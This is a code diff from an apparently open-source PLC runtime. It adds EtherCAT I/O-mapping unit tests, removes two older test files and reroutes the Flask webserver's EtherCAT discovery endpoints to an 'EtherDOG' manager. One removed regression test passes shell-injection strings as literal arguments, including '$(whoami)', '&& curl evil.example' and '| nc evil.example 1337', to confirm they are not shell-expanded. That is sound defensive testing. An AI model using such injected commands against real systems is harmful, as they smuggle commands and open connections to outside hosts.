IEC_UINT *int_in[BUF]; +static plugin_runtime_args_t args; + +static int last_bool_index, last_bool_bit, last_bool_value, bool_writes; +static int last_int_index; +static unsigned last_int_value; + +static int fake_bool(int type, int index, int bit, int value) +{ + (void)type; + last_bool_index = index; + last_bool_bit = bit; + last_bool_value = value; + bool_writes++; + return 0; +} +static int fake_byte(int type, int index, int v) { (void)type; (void)index; (void)v; return 0; } +static int fake_int(int type, int index, int v) +{ + (void)type; + last_int_index = index; + last_int_value = (unsigned)v; + return 0; +} +static int fake_dint(int type, int index, unsigned int v) { (void)type; (void)index; (void)v; return 0; } +static int fake_lint(int type, int index, unsigned long long v) +{ + (void)type; + (void)index; + (void)v; + return 0; +} + +static ecat_iomap_t map; +static ecat_bound_map_t bound; + +void setUp(void) +{ + memset(&args, 0, sizeof(args)); + memset(bool_out_vals, 0, sizeof(bool_out_vals)); + memset(int_out_vals, 0, sizeof(int_out_vals)); + for (int i = 0; i < BUF; i++) { + for (int b = 0; b < 8; b++) { + bool_out[i][b] = &bool_out_vals[i][b]; + bool_in[i][b] = &bool_out_vals[i][b]; + } + int_out[i] = &int_out_vals[i]; + int_in[i] = &int_out_vals[i]; + } + args.bool_output = bool_out; + args.bool_input = bool_in; + args.int_output = int_out; + args.int_input = int_in; + args.buffer_size = BUF; + args.journal_write_bool = fake_bool; + args.journal_write_byte = fake_byte; + args.journal_write_int = fake_int; + args.journal_write_dint = fake_dint; + args.journal_write_lint = fake_lint; + bool_writes = 0; +} + +void tearDown(void) +{ + remove(TMPFILE); +} + +static void write_mapping(const char *entries) +{ + FILE *fp = fopen(TMPFILE, "w"); + TEST_ASSERT_NOT_NULL(fp); + fprintf(fp, "{\"version\":1,\"masters\":[{\"name\":\"m0\",\"entries\":[%s]}]}", entries); + fclose(fp); +} + +static int bind_mapping(const char *entries, char *err, size_t err_size) +{ + write_mapping(entries); + TEST_ASSERT_EQUAL_INT(0, ecat_iomap_load(TMPFILE, &map, err, err_size)); + cJSON *layout = cJSON_Parse(LAYOUT); + TEST_ASSERT_NOT_NULL(layout); + int rc = ecat_iomap_bind(&map, layout, &args, &bound, err, err_size); + cJSON_Delete(layout); + return rc; +} + +/* --- loading ------------------------------------------------------------------------------ */ + +void test_load_rejects_wrong_version(void) +{ + char err[256]; + FILE *fp = fopen(TMPFILE, "w"); + fputs("{\"version\":2,\"masters\":[]}", fp); + fclose(fp); + TEST_ASSERT_EQUAL_INT(-1, ecat_iomap_load(TMPFILE, &map, err, sizeof(err))); +} + +void test_load_rejects_bad_iec_location(void) +{ + char err[256]; + write_mapping("{\"slave\":1,\"index\":\"0x6000\",\"subindex\":1,\"iec_location\":\"%IZ0\"}"); + TEST_ASSERT_EQUAL_INT(-1, ecat_iomap_load(TMPFILE, &map, err, sizeof(err))); + TEST_ASSERT_NOT_NULL(strstr(err, "%IZ0")); +} + +/* --- binding ----------------------------------------------------------------------------- */ + +void test_bind_resolves_inputs_and_outputs(void) +{ + char err[256] = ""; + int rc = bind_mapping( + "{\"slave\":1,\"index\":\"0x7000\",\"subindex\":1,\"iec_location\":\"%QX0.1\"}," + "{\"slave\":1,\"index\":\"0x7010\",\"subindex\":1,\"iec_location\":\"%QW2\"}," + "{\"slave\":1,\"index\":\"0x6000\",\"subindex\":1,\"iec_location\":\"%IX1.4\"}," + "{\"slave\":1,\"index\":\"0x6010\",\"subindex\":1,\"iec_location\":\"%IW3\"}", + err, sizeof(err)); + TEST_ASSERT_EQUAL_INT_MESSAGE(0, rc, err); + TEST_ASSERT_TRUE(bound.masters[0].active); + TEST_ASSERT_EQUAL_INT(2, bound.masters[0].output_count); + TEST_ASSERT_EQUAL_INT(2, bound.masters[0].input_count); +} + +void test_bind_fails_on_missing_entry(void) +{ + char err[256] = ""; + int rc = bind_mapping("{\"slave\":2,\"index\":\"0x6000\",\"subindex\":1,\"iec_location\":\"%IX0.0\"}", + err, sizeof(err)); + TEST_ASSERT_EQUAL_INT(-1, rc); + TEST_ASSERT_NOT_NULL(strstr(err, "no matching process data entry")); +} + +void test_bind_fails_on_direction_mismatch(void) +{ + char err[256] = ""; + int rc = bind_mapping("{\"slave\":1,\"index\":\"0x6000\",\"subindex\":1,\"iec_location\":\"%QX0.0\"}", + err, sizeof(err)); + TEST_ASSERT_EQUAL_INT(-1, rc); + TEST_ASSERT_NOT_NULL(strstr(err, "input data")); +} + +void test_bind_fails_on_width_mismatch(void) +{ + char err[256] = ""; + int rc = bind_mapping("{\"slave\":1,\"index\":\"0x6010\",\"subindex\":1,\"iec_location\":\"%IB0\"}", + err, sizeof(err)); + TEST_ASSERT_EQUAL_INT(-1, rc); + TEST_ASSERT_NOT_NULL(strstr(err, "16 bits")); +} + +void test_bind_fails_when_master_not_running(void) +{ + char err[256] = ""; + FILE *fp = fopen(TMPFILE, "w"); + fputs("{\"version\":1,\"masters\":[{\"name\":\"other\",\"entries\":[]}]}", fp); + fclose(fp); + TEST_ASSERT_EQUAL_INT(0, ecat_iomap_load(TMPFILE, &map, err, sizeof(err))); + cJSON *layout = cJSON_Parse(LAYOUT); + TEST_ASSERT_EQUAL_INT(-1, ecat_iomap_bind(&map, layout, &args, &bound, err, sizeof(err))); + cJSON_Delete(layout); + TEST_ASSERT_NOT_NULL(strstr(err, "other")); +} + +/* --- per-cycle copies --------------------------------------------------------------------- */ + +void test_collect_outputs_packs_bits_and_words(void) +{ + char err[256] = ""; + TEST_ASSERT_EQUAL_INT(0, bind_mapping( + "{\"slave\":1,\"index\":\"0x7000\",\"subindex\":1,\"iec_location\":\"%QX0.1\"}," + "{\"slave\":1,\"index\":\"0x7010\",\"subindex\":1,\"iec_location\":\"%QW2\"}", + err, sizeof(err))); + bool_out_vals[0][1] = 1; + int_out_vals[2] = 0xBEEF; + + uint8_t payload[3]; + memset(payload, 0xFF, sizeof(payload)); + ecat_iomap_collect_outputs(&bound.masters[0], payload, sizeof(payload)); + TEST_ASSERT_EQUAL_HEX8(0x01, payload[0]); /* bit 0 set, the rest cleared */ + TEST_ASSERT_EQUAL_HEX8(0xEF, payload[1]); + TEST_ASSERT_EQUAL_HEX8(0xBE, payload[2]); +} + +void test_publish_inputs_writes_journal(void) +{ + char err[256] = ""; + TEST_ASSERT_EQUAL_INT(0, bind_mapping( + "{\"slave\":1,\"index\":\"0x6000\",\"subindex\":1,\"iec_location\":\"%IX1.4\"}," + "{\"slave\":1,\"index\":\"0x6010\",\"subindex\":1,\"iec_location\":\"%IW3\"}", + err, sizeof(err))); + uint8_t payload[3] = { 0x08, 0x34, 0x12 }; /* bit 3 set; word 0x1234 at byte 1 */ + ecat_iomap_publish_inputs(&bound.masters[0], payload, sizeof(payload), &args); + TEST_ASSERT_EQUAL_INT(1, bool_writes); + TEST_ASSERT_EQUAL_INT(1, last_bool_index); + TEST_ASSERT_EQUAL_INT(4, last_bool_bit); + TEST_ASSERT_EQUAL_INT(1, last_bool_value); + TEST_ASSERT_EQUAL_INT(3, last_int_index); + TEST_ASSERT_EQUAL_HEX16(0x1234, last_int_value); +} diff --git a/tests/test_ethercat_proc.c b/tests/test_ethercat_proc.c deleted file mode 100644 index a2a1069d..00000000 --- a/tests/test_ethercat_proc.c +++ /dev/null @@ -1,159 +0,0 @@ -// SPDX-License-Identifier: MIT -// Copyright (c) 2026 Autonomy® - -/** - * @file test_ethercat_proc.c - * @brief Unit tests for ecat_run_argv() — fork+execvp helper. - * - * Exercises spawning, exit-code propagation, and stdout capture using - * standard Unix utilities (/bin/true, /bin/false, /bin/echo) so the - * tests do not depend on plugin-specific binaries. - */ - -#include "ethercat_proc.h" -#include "unity.h" - -#include - -void setUp(void) {} -void tearDown(void) {} - -/* ---- NULL guards ---- */ - -void test_run_argv_NullBin_ShouldFail(void) -{ - char *argv[] = { "true", NULL }; - TEST_ASSERT_EQUAL_INT(-1, ecat_run_argv(NULL, argv, NULL, 0)); -} - -void test_run_argv_NullArgv_ShouldFail(void) -{ - TEST_ASSERT_EQUAL_INT(-1, ecat_run_argv("/bin/true", NULL, NULL, 0)); -} - -/* ---- Exit status propagation ---- */ - -void test_run_argv_True_ShouldReturnZero(void) -{ - char *argv[] = { "/bin/true", NULL }; - TEST_ASSERT_EQUAL_INT(0, ecat_run_argv("/bin/true", argv, NULL, 0)); -} - -void test_run_argv_False_ShouldReturnOne(void) -{ - char *argv[] = { "/bin/false", NULL }; - TEST_ASSERT_EQUAL_INT(1, ecat_run_argv("/bin/false", argv, NULL, 0)); -} - -void test_run_argv_MissingBinary_ShouldReturn127(void) -{ - /* execvp fails in the child; the child _exit(127) per the helper's - * convention -- same exit code POSIX shells use for "command not found". */ - char *argv[] = { "definitely_not_a_real_binary_xyzzy_42", NULL }; - TEST_ASSERT_EQUAL_INT(127, - ecat_run_argv("definitely_not_a_real_binary_xyzzy_42", argv, NULL, 0)); -} - -/* ---- Stdout capture ---- */ - -void test_run_argv_Capture_ShouldReadStdout(void) -{ - char buf[64]; - memset(buf, 0xFF, sizeof(buf)); /* poison so a missing NUL is visible */ - char *argv[] = { "/bin/echo", "hello", NULL }; - - int rc = ecat_run_argv("/bin/echo", argv, buf, sizeof(buf)); - - TEST_ASSERT_EQUAL_INT(0, rc); - /* /bin/echo appends a trailing newline. */ - TEST_ASSERT_EQUAL_STRING("hello\n", buf); -} - -void test_run_argv_CaptureMultiArg_ShouldJoinWithSpaces(void) -{ - char buf[64]; - memset(buf, 0xFF, sizeof(buf)); - char *argv[] = { "/bin/echo", "foo", "bar", NULL }; - - int rc = ecat_run_argv("/bin/echo", argv, buf, sizeof(buf)); - - TEST_ASSERT_EQUAL_INT(0, rc); - TEST_ASSERT_EQUAL_STRING("foo bar\n", buf); -} - -void test_run_argv_CaptureSmallBuffer_ShouldTruncateAndNullTerminate(void) -{ - /* Buffer fits exactly 4 bytes plus the NUL. - * /bin/echo emits "abcdefghij\n" -- we expect the first 4 chars - * captured and a guaranteed NUL at buf[4]. */ - char buf[5]; - memset(buf, 0xFF, sizeof(buf)); - char *argv[] = { "/bin/echo", "abcdefghij", NULL }; - - int rc = ecat_run_argv("/bin/echo", argv, buf, sizeof(buf)); - - /* echo still exits 0 even though we drained only part of its stdout. */ - TEST_ASSERT_EQUAL_INT(0, rc); - TEST_ASSERT_EQUAL_INT('\0', buf[4]); - TEST_ASSERT_EQUAL_INT(4, (int)strlen(buf)); - TEST_ASSERT_EQUAL_STRING("abcd", buf); -} - -void test_run_argv_NoCaptureBuffer_ShouldStillRun(void) -{ - /* When capture_buf is NULL but capture_size is non-zero, the helper - * should treat it as no-capture (stdout to /dev/null). */ - char *argv[] = { "/bin/echo", "discarded", NULL }; - int rc = ecat_run_argv("/bin/echo", argv, NULL, 64); - TEST_ASSERT_EQUAL_INT(0, rc); -} - -void test_run_argv_ZeroCaptureSize_ShouldNotCapture(void) -{ - /* capture_size == 0 with non-NULL buffer -- helper treats this as - * no-capture (the only sane reading -- otherwise we'd write past - * the zero-length buffer). */ - char buf[1] = { 0x42 }; - char *argv[] = { "/bin/echo", "anything", NULL }; - - int rc = ecat_run_argv("/bin/echo", argv, buf, 0); - - TEST_ASSERT_EQUAL_INT(0, rc); - /* Buffer untouched. */ - TEST_ASSERT_EQUAL_INT(0x42, (unsigned char)buf[0]); -} - -/* ---- Defense in depth: no shell interpretation of argv ---- */ - -void test_run_argv_ShellMetacharsInArgv_AreLiteralArguments(void) -{ - /* The whole point of using fork+execvp instead of system() is that - * argv elements are passed verbatim, never parsed by a shell. If a - * future refactor reintroduces system()/popen()/sh -c, /bin/echo - * would receive different arguments (or none) and this test would - * fail. Treat it as a regression guard. - * - * /bin/echo is a real binary (not a shell built-in here), so any - * substitution we observe in stdout must have come from a shell. */ - char buf[256]; - memset(buf, 0xFF, sizeof(buf)); - char *argv[] = { - "/bin/echo", - "; touch /tmp/ecat_run_argv_pwned", - "$(whoami)", - "`id`", - "&& curl evil.example", - "| nc evil.example 1337", - NULL - }; - - int rc = ecat_run_argv("/bin/echo", argv, buf, sizeof(buf)); - - TEST_ASSERT_EQUAL_INT(0, rc); - /* /bin/echo joins with single spaces and appends a newline. - * Every token must reappear exactly as passed -- no expansion. */ - TEST_ASSERT_EQUAL_STRING( - "; touch /tmp/ecat_run_argv_pwned $(whoami) `id` " - "&& curl evil.example | nc evil.example 1337\n", - buf); -} diff --git a/tests/test_ethercat_sdo_config.c b/tests/test_ethercat_sdo_config.c deleted file mode 100644 index e958aa29..00000000 --- a/tests/test_ethercat_sdo_config.c +++ /dev/null @@ -1,280 +0,0 @@ -// SPDX-License-Identifier: MIT -// Copyright (c) 2026 Autonomy® - -/** - * @file test_ethercat_sdo_config.c - * @brief Unit tests for SDO value parsing in ecat_config_parse() - * - * Verifies that the parser correctly handles SDO values as both - * JSON numbers and JSON strings (decimal, hex, float, negative). - * Exercises the get_numeric_value() helper via ecat_config_parse(). - */ - -#include "ethercat_config.h" -#include "unity.h" - -#include -#include - -TEST_SOURCE_FILE("core/src/drivers/plugins/native/ethercat/cjson/cJSON.c") - -void setUp(void) {} -void tearDown(void) {} - -/** - * Helper: write a minimal JSON config with a single slave that has one SDO - * entry whose "value" field is set to the provided raw JSON token. - * Returns the path to the temp file. - */ -static const char *TEMP_FILE = "test_sdo_config_tmp.json"; - -static int write_sdo_json(const char *value_token, const char *data_type) -{ - FILE *fp = fopen(TEMP_FILE, "w"); - if (!fp) - return -1; - - fprintf(fp, - "[{\n" - " \"name\": \"test\",\n" - " \"protocol\": \"ETHERCAT\",\n" - " \"config\": {\n" - " \"master\": { \"interface\": \"eth0\", \"cycle_time_us\": 1000, " - "\"receive_timeout_us\": 2000 },\n" - " \"slaves\": [{\n" - " \"position\": 1,\n" - " \"name\": \"TestSlave\",\n" - " \"type\": \"coupler\",\n" - " \"vendor_id\": \"0x00000002\",\n" - " \"product_code\": \"0x00000001\",\n" - " \"revision\": \"0x00000001\",\n" - " \"channels\": [],\n" - " \"sdo_configurations\": [{\n" - " \"index\": \"0x8000\",\n" - " \"subindex\": 1,\n" - " \"value\": %s,\n" - " \"data_type\": \"%s\",\n" - " \"name\": \"TestSDO\"\n" - " }],\n" - " \"rx_pdos\": [],\n" - " \"tx_pdos\": []\n" - " }],\n" - " \"diagnostics\": {}\n" - " }\n" - "}]\n", - value_token, data_type); - - fclose(fp); - return 0; -} - -static void cleanup_temp(void) -{ - remove(TEMP_FILE); -} - -/* ---- JSON number values ---- */ - -void test_sdo_parse_NumberValue_ShouldStoreCorrectly(void) -{ - write_sdo_json("100", "UINT16"); - - /* ecat_config_t is too large for the stack; use static */ - static ecat_config_t config; - int rc = ecat_config_parse(TEMP_FILE, &config); - - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, rc); - TEST_ASSERT_EQUAL_INT(1, config.slave_count); - TEST_ASSERT_EQUAL_INT(1, config.slaves[0].sdo_count); - TEST_ASSERT_DOUBLE_WITHIN(0.001, 100.0, config.slaves[0].sdo_configs[0].value); - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_UINT16, config.slaves[0].sdo_configs[0].parsed_type); - - cleanup_temp(); -} - -void test_sdo_parse_NegativeNumber_ShouldStoreCorrectly(void) -{ - write_sdo_json("-50", "INT16"); - - static ecat_config_t config; - int rc = ecat_config_parse(TEMP_FILE, &config); - - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, rc); - TEST_ASSERT_DOUBLE_WITHIN(0.001, -50.0, config.slaves[0].sdo_configs[0].value); - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_INT16, config.slaves[0].sdo_configs[0].parsed_type); - - cleanup_temp(); -} - -void test_sdo_parse_FloatNumber_ShouldStoreCorrectly(void) -{ - write_sdo_json("3.14", "REAL"); - - static ecat_config_t config; - int rc = ecat_config_parse(TEMP_FILE, &config); - - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, rc); - TEST_ASSERT_DOUBLE_WITHIN(0.001, 3.14, config.slaves[0].sdo_configs[0].value); - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_REAL32, config.slaves[0].sdo_configs[0].parsed_type); - - cleanup_temp(); -} - -/* ---- JSON string values (backward compatibility with old editor) ---- */ - -void test_sdo_parse_StringDecimal_ShouldParseAsNumber(void) -{ - write_sdo_json("\"100\"", "UINT16"); - - static ecat_config_t config; - int rc = ecat_config_parse(TEMP_FILE, &config); - - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, rc); - TEST_ASSERT_DOUBLE_WITHIN(0.001, 100.0, config.slaves[0].sdo_configs[0].value); - - cleanup_temp(); -} - -void test_sdo_parse_StringHex_ShouldParseAsNumber(void) -{ - write_sdo_json("\"0xFF\"", "UINT8"); - - static ecat_config_t config; - int rc = ecat_config_parse(TEMP_FILE, &config); - - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, rc); - TEST_ASSERT_DOUBLE_WITHIN(0.001, 255.0, config.slaves[0].sdo_configs[0].value); - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_UINT8, config.slaves[0].sdo_configs[0].parsed_type); - - cleanup_temp(); -} - -void test_sdo_parse_StringFloat_ShouldParseAsNumber(void) -{ - write_sdo_json("\"3.14\"", "REAL32"); - - static ecat_config_t config; - int rc = ecat_config_parse(TEMP_FILE, &config); - - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, rc); - TEST_ASSERT_DOUBLE_WITHIN(0.001, 3.14, config.slaves[0].sdo_configs[0].value); - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_REAL32, config.slaves[0].sdo_configs[0].parsed_type); - - cleanup_temp(); -} - -void test_sdo_parse_StringNegative_ShouldParseAsNumber(void) -{ - write_sdo_json("\"-50\"", "INT16"); - - static ecat_config_t config; - int rc = ecat_config_parse(TEMP_FILE, &config); - - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, rc); - TEST_ASSERT_DOUBLE_WITHIN(0.001, -50.0, config.slaves[0].sdo_configs[0].value); - - cleanup_temp(); -} - -void test_sdo_parse_StringEmpty_ShouldDefaultToZero(void) -{ - write_sdo_json("\"\"", "UINT16"); - - static ecat_config_t config; - int rc = ecat_config_parse(TEMP_FILE, &config); - - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, rc); - TEST_ASSERT_DOUBLE_WITHIN(0.001, 0.0, config.slaves[0].sdo_configs[0].value); - - cleanup_temp(); -} - -/* ---- Missing value field ---- */ - -void test_sdo_parse_MissingValue_ShouldDefaultToZero(void) -{ - /* Write JSON without a "value" field */ - FILE *fp = fopen(TEMP_FILE, "w"); - TEST_ASSERT_NOT_NULL(fp); - - fprintf(fp, - "[{\n" - " \"name\": \"test\",\n" - " \"protocol\": \"ETHERCAT\",\n" - " \"config\": {\n" - " \"master\": { \"interface\": \"eth0\", \"cycle_time_us\": 1000, " - "\"receive_timeout_us\": 2000 },\n" - " \"slaves\": [{\n" - " \"position\": 1,\n" - " \"name\": \"TestSlave\",\n" - " \"type\": \"coupler\",\n" - " \"vendor_id\": \"0x00000002\",\n" - " \"product_code\": \"0x00000001\",\n" - " \"revision\": \"0x00000001\",\n" - " \"channels\": [],\n" - " \"sdo_configurations\": [{\n" - " \"index\": \"0x8000\",\n" - " \"subindex\": 1,\n" - " \"data_type\": \"UINT16\",\n" - " \"name\": \"TestSDO\"\n" - " }],\n" - " \"rx_pdos\": [],\n" - " \"tx_pdos\": []\n" - " }],\n" - " \"diagnostics\": {}\n" - " }\n" - "}]\n"); - fclose(fp); - - static ecat_config_t config; - int rc = ecat_config_parse(TEMP_FILE, &config); - - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, rc); - TEST_ASSERT_DOUBLE_WITHIN(0.001, 0.0, config.slaves[0].sdo_configs[0].value); - - cleanup_temp(); -} - -/* ---- Data type resolution in SDO ---- */ - -void test_sdo_parse_DataType_ShouldResolveParsedType(void) -{ - write_sdo_json("42", "DINT"); - - static ecat_config_t config; - int rc = ecat_config_parse(TEMP_FILE, &config); - - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, rc); - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_INT32, config.slaves[0].sdo_configs[0].parsed_type); - - cleanup_temp(); -} - -void test_sdo_parse_LrealDataType_ShouldResolveReal64(void) -{ - write_sdo_json("1.5", "LREAL"); - - static ecat_config_t config; - int rc = ecat_config_parse(TEMP_FILE, &config); - - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, rc); - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_REAL64, config.slaves[0].sdo_configs[0].parsed_type); - TEST_ASSERT_DOUBLE_WITHIN(0.001, 1.5, config.slaves[0].sdo_configs[0].value); - - cleanup_temp(); -} - -/* ---- Large hex value ---- */ - -void test_sdo_parse_StringLargeHex_ShouldParseCorrectly(void) -{ - write_sdo_json("\"0x1A2B\"", "UINT16"); - - static ecat_config_t config; - int rc = ecat_config_parse(TEMP_FILE, &config); - - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, rc); - TEST_ASSERT_DOUBLE_WITHIN(0.001, 6699.0, config.slaves[0].sdo_configs[0].value); - - cleanup_temp(); -} diff --git a/webserver/app.py b/webserver/app.py index d4492b0f..714d11bd 100644 --- a/webserver/app.py +++ b/webserver/app.py @@ -17,7 +17,9 @@ import platform import shutil import ssl +import tempfile import threading +import zipfile from pathlib import Path from typing import Callable, Final, Optional @@ -28,6 +30,7 @@ from webserver.credentials import CertGen from webserver.debug_websocket import init_debug_websocket from webserver.discovery.discovery_routes import discovery_bp +from webserver.etherdog_manager import EtherDogManager, legacy_ethercat_config_in_use from webserver.discovery.network_discovery import ( responder as network_discovery_responder, ) @@ -72,6 +75,11 @@ login_manager = flask_login.LoginManager() login_manager.init_app(app) +# EtherDOG first: plc_main's EtherCAT plugin reads the session file it writes, and a PLC that +# auto-starts at boot needs the bus configured before its plugins start. +etherdog_manager = EtherDogManager() +etherdog_manager.start() + runtime_manager = RuntimeManager( runtime_path="./build/plc_main", plc_socket="/run/runtime/plc_runtime.socket", @@ -90,6 +98,7 @@ # without triggering a re-import of this module (which would create # a duplicate RuntimeManager when run with python -m webserver.app). app_restapi.config["RUNTIME_MANAGER"] = runtime_manager +app_restapi.config["ETHERDOG_MANAGER"] = etherdog_manager BASE_DIR: Final[Path] = Path(__file__).parent CERT_FILE: Final[Path] = (BASE_DIR / "certOPENPLC.pem").resolve() @@ -329,6 +338,27 @@ def stage_project_snapshot() -> str: return "" +def _upload_has_legacy_ethercat(zip_file, valid_files) -> bool: + """True when the upload's conf/ethercat.json (pre-split format) describes EtherCAT masters.""" + names = [ + info.filename + for info in valid_files + if info.filename == "conf/ethercat.json" or info.filename.endswith("/conf/ethercat.json") + ] + if not names: + return False + try: + with zipfile.ZipFile(zip_file, "r") as zf: + text = zf.read(names[0]).decode("utf-8", errors="replace") + except (zipfile.BadZipFile, KeyError, OSError) as e: + logger.warning("Could not inspect conf/ethercat.json in the upload: %s", e) + return False + with tempfile.TemporaryDirectory() as tmp: + conf = Path(tmp) + (conf / "ethercat.json").write_text(text, encoding="utf-8") + return legacy_ethercat_config_in_use(conf) + + def handle_upload_file(data: dict) -> dict: if build_state.status == BuildStatus.COMPILING: return { @@ -366,6 +396,19 @@ def handle_upload_file(data: dict) -> dict: extract_dir = "core/generated" + # Programs built before the EtherCAT configuration split carry one ethercat.json that + # the runtime no longer reads. Refuse them before anything on the device changes. + if _upload_has_legacy_ethercat(zip_file, valid_files): + build_state.status = BuildStatus.FAILED + return { + "UploadFileFail": ( + "This program was built with an Editor that writes the old EtherCAT " + "configuration (conf/ethercat.json). Rebuild it with an Editor that emits " + "ethercat_busconfig.json and ethercat_iomapping.json." + ), + "CompilationStatus": build_state.status.name, + } + # Point of no return: past here the program on the device is being # replaced, so the stored project snapshot must go with it. Clearing # here rather than on arrival means a rejected upload (bad zip, too @@ -404,6 +447,10 @@ def handle_upload_file(data: dict) -> dict: # Update built-in plugin configurations based on extracted config files update_plugin_configurations(extract_dir) + # The bus half of the EtherCAT configuration belongs to EtherDOG. + busconfig = Path(extract_dir) / "conf" / "ethercat_busconfig.json" + etherdog_manager.apply_busconfig(busconfig if busconfig.exists() else None) + # ?clean=1 — wired from the editor's "Clean build and upload" UI # option. Forces a full recompile by wiping core/build/ and the # ccache contents before invoking compile.sh. Older editors diff --git a/webserver/discovery/discovery_routes.py b/webserver/discovery/discovery_routes.py index 48682bf6..d7a7875e 100644 --- a/webserver/discovery/discovery_routes.py +++ b/webserver/discovery/discovery_routes.py @@ -6,7 +6,7 @@ Endpoints: GET /api/discovery/interfaces - List network interfaces (common) GET /api/discovery/ethercat/status - Check if EtherCAT discovery service is available - POST /api/discovery/ethercat/scan - Scan network for EtherCAT slaves (via SOEM plugin) + POST /api/discovery/ethercat/scan - Scan network for EtherCAT slaves (via EtherDOG) POST /api/discovery/ethercat/validate - Validate EtherCAT configuration POST /api/discovery/ethercat/test - Test connection to specific EtherCAT slave """ @@ -25,6 +25,14 @@ discovery_bp = Blueprint("discovery", __name__, url_prefix="/api/discovery") +def _with_plugin_state(result: dict) -> dict: + """Add the Editor's "plugin_state" key next to EtherDOG's per-master "state".""" + for master in result.get("masters", []): + if isinstance(master, dict) and "state" in master: + master.setdefault("plugin_state", master["state"]) + return result + + @discovery_bp.route("/ethercat/status", methods=["GET"]) @jwt_required() def ethercat_status(): @@ -48,16 +56,12 @@ def ethercat_status(): type: string description: Status message """ - # Discovery is built into the runtime via the native EtherCAT plugin (SOEM). - # Verify the runtime is actually reachable before reporting available. - runtime_manager = current_app.config["RUNTIME_MANAGER"] - - ping_response = runtime_manager.ping() - if ping_response and ping_response.startswith("PING:OK"): - return jsonify( - {"available": True, "message": "Discovery service is ready (native SOEM plugin)"} - ) - return jsonify({"available": False, "message": "PLC runtime is not reachable"}) + # Discovery is served by EtherDOG, the EtherCAT master service. + etherdog = current_app.config["ETHERDOG_MANAGER"] + result = etherdog.plugin_style_command({"command": "status"}, timeout=5.0) + if "error" in result: + return jsonify({"available": False, "message": f"EtherDOG unavailable: {result['error']}"}) + return jsonify({"available": True, "message": "Discovery service is ready (EtherDOG)"}) @discovery_bp.route("/interfaces", methods=["GET"]) @@ -95,13 +99,9 @@ def network_interfaces(): 500: description: Error retrieving interfaces """ - runtime_manager = current_app.config["RUNTIME_MANAGER"] + etherdog = current_app.config["ETHERDOG_MANAGER"] - result = runtime_manager.send_plugin_command( - "ethercat", - json.dumps({"command": "list-interfaces"}), - timeout=5.0, - ) + result = etherdog.plugin_style_command({"command": "list-interfaces"}, timeout=5.0) if "error" in result: return ( @@ -243,13 +243,11 @@ def ethercat_scan(): if not is_valid: return jsonify({"status": "error", "message": error_msg}), 400 - # Route scan through the native EtherCAT plugin via unix socket - runtime_manager = current_app.config["RUNTIME_MANAGER"] + # Scans go straight to EtherDOG, so they work with no program loaded. + etherdog = current_app.config["ETHERDOG_MANAGER"] - result = runtime_manager.send_plugin_command( - "ethercat", - json.dumps({"command": "scan", "params": {"interface": interface}}), - timeout=10.0, + result = etherdog.plugin_style_command( + {"command": "scan", "params": {"interface": interface}}, timeout=10.0 ) if "error" in result: @@ -284,7 +282,7 @@ def ethercat_scan(): @jwt_required() def ethercat_runtime_status(): """ - Get the current EtherCAT runtime status from the native plugin. + Get the current EtherCAT bus status from EtherDOG. --- tags: - EtherCAT @@ -348,24 +346,20 @@ def ethercat_runtime_status(): 503: description: Runtime not available """ - runtime_manager = current_app.config["RUNTIME_MANAGER"] + etherdog = current_app.config["ETHERDOG_MANAGER"] - result = runtime_manager.send_plugin_command( - "ethercat", - json.dumps({"command": "status"}), - timeout=5.0, - ) + result = etherdog.plugin_style_command({"command": "status"}, timeout=5.0) if "error" in result: return jsonify({"status": "error", "message": result["error"]}), 503 - return jsonify(result), 200 + return jsonify(_with_plugin_state(result)), 200 @discovery_bp.route("/ethercat/diagnostics", methods=["GET"]) @jwt_required() def ethercat_diagnostics(): """ - Get detailed EtherCAT diagnostic information from the native plugin. + Get detailed EtherCAT diagnostic information from EtherDOG. --- tags: - EtherCAT @@ -394,17 +388,13 @@ def ethercat_diagnostics(): 503: description: Runtime not available """ - runtime_manager = current_app.config["RUNTIME_MANAGER"] + etherdog = current_app.config["ETHERDOG_MANAGER"] - result = runtime_manager.send_plugin_command( - "ethercat", - json.dumps({"command": "diagnostics"}), - timeout=5.0, - ) + result = etherdog.plugin_style_command({"command": "diagnostics"}, timeout=5.0) if "error" in result: return jsonify({"status": "error", "message": result["error"]}), 503 - return jsonify(result), 200 + return jsonify(_with_plugin_state(result)), 200 @discovery_bp.route("/ethercat/validate", methods=["POST"]) @@ -605,16 +595,10 @@ def ethercat_test(): if not is_valid: return jsonify({"status": "error", "message": error_msg}), 400 - runtime_manager = current_app.config["RUNTIME_MANAGER"] + etherdog = current_app.config["ETHERDOG_MANAGER"] - result = runtime_manager.send_plugin_command( - "ethercat", - json.dumps( - { - "command": "test", - "params": {"interface": interface, "position": position}, - } - ), + result = etherdog.plugin_style_command( + {"command": "test", "params": {"interface": interface, "position": position}}, timeout=10.0, ) diff --git a/webserver/discovery/ethercat_discovery.py b/webserver/discovery/ethercat_discovery.py index 9c469d78..9671dc75 100644 --- a/webserver/discovery/ethercat_discovery.py +++ b/webserver/discovery/ethercat_discovery.py @@ -4,8 +4,8 @@ """EtherCAT discovery helpers. Validation utilities for EtherCAT configuration and interface names. -Network operations (scan, list-interfaces, test) are handled by the -native EtherCAT plugin via plugin commands routed through the unix socket. +Network operations (scan, list-interfaces, test) are handled by EtherDOG, the +EtherCAT master service, through webserver.etherdog_manager. """ import re diff --git a/webserver/etherdog_manager.py b/webserver/etherdog_manager.py new file mode 100644 index 00000000..c820e1a9 --- /dev/null +++ b/webserver/etherdog_manager.py @@ -0,0 +1,299 